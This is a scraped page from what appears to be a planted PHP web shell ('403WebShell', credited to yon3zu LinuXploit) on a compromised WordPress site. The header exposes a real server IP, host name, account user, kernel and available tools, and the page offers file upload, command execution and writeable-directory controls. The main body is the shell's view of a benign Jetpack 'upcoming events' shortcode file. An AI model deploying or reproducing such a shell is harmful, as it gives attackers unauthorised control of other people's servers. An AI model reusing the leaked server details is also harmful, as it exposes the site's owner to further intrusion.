Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.25.130
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/modules/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/modules/shortcodes/upcoming-events.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * Display a list of upcoming events from a calendar.
 *
 * @package automattic/jetpack
 */

/**
 * Register a upcomingevents shortcode.
 * Most of the heavy lifting done in iCalendarReader class,
 * where the icalendar_render_events() function controls the display.
 */
class Upcoming_Events_Shortcode {

	/**
	 * Register things.
	 */
	public static function init() {
		add_shortcode( 'upcomingevents', array( __CLASS__, 'shortcode' ) );
	}

	/**
	 * Register the shortcode.
	 *
	 * @param array $atts Shortcode attributes.
	 */
	public static function shortcode( $atts = array() ) {
		require_once JETPACK__PLUGIN_DIR . '/_inc/lib/icalendar-reader.php';
		$atts = shortcode_atts(
			array(
				'url'    => '',
				'number' => 0,
			),
			$atts,
			'upcomingevents'
		);
		$args = array(
			'context' => 'shortcode',
			'number'  => absint( $atts['number'] ),
		);

		if ( empty( $atts['url'] ) ) {
			// If the current user can access the Appearance->Widgets page.
			if ( current_user_can( 'edit_theme_options' ) ) {
				return sprintf( '<p>%s</p>', __( 'You must specify a URL to an iCalendar feed in the shortcode. This notice is only displayed to administrators.', 'jetpack' ) );
			}
			return self::no_upcoming_event_text();
		}
		$events = icalendar_render_events( $atts['url'], $args );

		if ( ! $events ) {
			$events = self::no_upcoming_event_text();
		}

		return $events;
	}

	/**
	 * Returns No Upcoming Event text.
	 */
	private static function no_upcoming_event_text() {
		return sprintf( '<p>%s</p>', __( 'No upcoming events', 'jetpack' ) );
	}
}
add_action( 'after_setup_theme', array( 'Upcoming_Events_Shortcode', 'init' ), 2 );

Youez - 2016 - github.com/yon3zu
LinuXploit